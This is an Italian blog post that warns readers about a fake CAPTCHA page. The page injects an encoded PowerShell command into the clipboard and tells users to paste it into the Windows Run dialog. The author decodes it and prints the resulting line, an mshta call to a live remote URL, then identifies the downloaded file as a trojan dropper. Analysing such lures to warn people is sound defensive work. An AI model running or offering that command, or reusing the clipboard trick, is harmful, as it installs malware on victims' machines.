Un nuovo tipo di attacco, non per tutti banale.

Oggi mi sono imbattuto in un nuovo tipo di attacco che, per chi è poco tecnologico, può portare a seri problemi e può consentire l’accesso “nascosto” al proprio computer da parte di malintenzionati, con ovvie conseguenze catastrofiche. Tutto è partito da una pagina web con la sola richiesta “verify you are human”, cioè, verifica che sei un umano, che però anziché chiedermi di risolvere un semplice puzzle, mi ha chiesto di eseguire una specifica azione:

Quello che deve saltare subito agli occhi è che di solito le richieste di “non sono un robot” o “sono un umano” chiedono di risolvere puzzle, di scrivere il risultato di una operazione, di identificare un oggetto tra altri. Ma mai e poi mai dovrebbero chiedere di premere il tasto “Windows”+”R” (se state usando un pc con windows).

Se non sei interessato ad approfondimenti tecnici, puoi anche terminare qui la lettura di questo articolo: se vedi una schermata come quella che trovi qui sopra, non eseguire quanto ti viene chiesto: premere il tasto “windows” + R serve a lanciare comandi sul tuo computer! Se un sito web ti chiede di farlo, semplicemente chiudi la pagina senza fare nulla.

Per chi vuole ulteriori approfondimenti tecnici:

Esaminerò questo sistema e vi spiegherò esattamente cosa succede “dietro le quinte”, dal punto di vista tecnico, in modo che possiate comprendere perché bisogna farsi venire i capelli dritti quando si vede una cosa del genere.

La pagina sfrutta la possibilità, attualmente concessa dagli standard HTML, di “iniettare” nella clipboard del computer un testo, cioè quello che di solito facciamo quando selezioniamo ad esempio un testo e premiamo “CTRL+C”. In pratica un sito web può decidere di inserire nel nostro CTRL+C del testo, se clicchiamo da qualche parte: di solito questa funzionalità si usa, in maniera benevola, per facilitare l’utente, ad esempio, a copiare date di scadenze o codici promozione di qualche sito, in modo che poi l’utente possa fare (CTRL+V) in un documento e incollare il contenuto. Quello che è stato fatto qui è che l’azione di “iniezione” nella clipboard fatta da questo sito è stata legata al click sul “I’m not a robot”, e ci viene chiesto di premere WINDOWS+R e di lanciarlo. Premendo quella combinazione, infatti, lancerei il “run”, cioè l’esecuzione di ciò che verrà passato. Vediamo quindi cosa hanno messo nella mia clipboard, semplicemente incollandola in un file di testo, anziché eseguendola arbitrariamente, come mi viene richiesto…

ok… in pratica, se avessi incollato questo codice come richiesto, avrei lanciato un comando di powershell con dei caratteri che, apparentemente, non significano nulla. Il formato di quei caratteri però, per chi ha già avuto a che fare con queste cose, è chiaramente codificato con un “Base64”, per renderlo meno identificabile e comprensibile da un umano. Prendiamo quindi un sito qualsiasi che faccia conversione di stringhe codificate in Base64 (base64decode.org) e vediamo cosa esce fuori…

nella parte superiore, ho inserito la sequenza di caratteri da decodificare… però, dopo aver premuto il pulsante verde “decode”, come potete vedere, nella parte sotto al pulsante, non ho avuto un risultato comprensibile… forse quindi il problema è nella codifica del Base64: potrebbe non essere UTF-8… Seleziono quindi “auto-detect” e riprovo…

Bingo! La codifica giusta era “UTF-16LE”, e il vero codice che sta cercando di farmi eseguire è questo:
mshta “https://zone03.b-cdn.net/tr17”

Lo stesso risultato si può ottenere anche usando direttamente Powershell…

A questo punto sono curioso di sapere cosa contiene quella pagina, che vorrebbero farmi eseguire… per scoprirlo, è sufficiente aprire una shell Ubuntu ed usare curl. Si potrebbe fare anche con “Invoke-WebRequest” ma non l’ho studiato a fondo tanto per potermi fidare al 100% di quello che fa internamente, quindi preferisco affidarmi al caro vecchio Linux, visto che è pure integrato in Windows…

bene, ora analizziamo il file scaricato… aprendolo con notepad++ mi rendo conto che è un binary, molto probabilmente un eseguibile… lo rinomino in .txt giusto per essere sicuro, e poi lo passo al sito “virustotal” (https://www.virustotal.com), che, per chi non lo conoscesse, è un sito in grado di elaborare un file passandolo a una miriade di diversi motori antivirus. L’estensione ed il nome del file in questo caso non hanno alcuna rilevanza, perché quello che fanno questi motori è creare una sorta di “firma” con il contenuto del file, a prescindere da come si chiama. Ecco il risultato:

Quello che sta cercando di fare quindi lo script in quella pagina è di farmi scaricare un “Trojan” che si chiama in realtà splwow64.exe. Dalla descrizione del motore dell’antivirus Kaspersky e da ZoneAlarm capisco che è un “dropper”, cioè un eseguibile che, a sua volta, è in grado di scaricare altri eseguibili da internet e lanciarli sul mio computer. Da qui, la strada è molto semplice: se lo facessi, potrebbero installarmi un software in grado di leggere tutto quello che digito sulla tastiera, o accedere a tutti i miei file, la mia posta, o bloccare del tutto i contenuti del mio computer dietro richiesta di un ricatto (“ransomware”).

Ho voluto condividere con tutti questo percorso che ho seguito, sperando di aiutare un po’ chi non è troppo esperto di computer a capire quali insidie si possono trovare dietro una semplice richiesta di conferma di accesso ad una pagina. Fate quindi particolare attenzione, se doveste vedere qualcosa di simile, non eseguite mai e poi mai nulla che inizi con “premere il tasto windows + R” !!

P.S. includo il contenuto totale del risultato di virustotal perché è interessante come il file non venga identificato da molti comuni motori antivirus, compreso quello che uso io solitamente!!!!!!! L’esecuzione sarebbe quindi potuta passare inosservata, o avrei dovuto affidarmi solo all’antivirus integrato di Windows… ma preferirei non provare 🙂